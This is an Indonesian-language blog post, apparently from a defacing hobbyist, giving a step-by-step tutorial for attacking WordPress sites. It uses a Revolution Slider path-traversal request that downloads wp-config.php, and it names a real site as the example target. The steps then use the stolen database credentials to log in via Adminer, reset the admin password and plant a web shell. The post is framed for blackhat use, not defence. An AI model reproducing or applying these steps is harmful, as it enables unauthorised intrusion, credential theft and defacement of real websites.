[Discloure] WP Themes Bazar

Oleh Pepy

Sunday 22 February 2015

Bagikan :

Tweet

Okelah karna lama tak menulis menulis ria di blog, sekarang mumpung ujian praktik dah kelar, sekarang mau share tutor lagi :)
Langsung aja dah,

1. Masukan dork di mesin pencarian google
    Dork : Use your brain | biar gak manja

2. Pilih salah 1 website yang mau kita jadiin target deface

3. Disini aku pilih http://genecigs.com.au buat jadi contoh

4. Lalu masukan exploit berikut di belakang URL
    Exploit :  /wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php

5. Lalu download file nya

 

6. Setelah itu buka file tadi dengan notepad / notepad++

7. Cari DB_Name || DB_User || DB_Pass || DB_Host nya, kalo udah ketemu tinggal login via adminer :)

 

8. Kita change password adminnya, lalu kita login via admin, udah tinggal tanem shell uwik uwik dah :3 

*NOTE : atau mau pake auto exploiternya yang gak perlu repot-repot download file?

 Preview :

 

Kalo mau tunggu tanggal mainnya pasti nanti Pepy share kok, pantengin aja terus http://zsn-note.blogspot.com buat info updatenya :) 


 Deface retas tutor tutorial hack hacking hacked zasieun pepy peppep blog blogger .com domain google yahoo wp wordpress theme themes bazar discloure ykbh yogyakarta blackhat 

Tag : Defacing, Hacking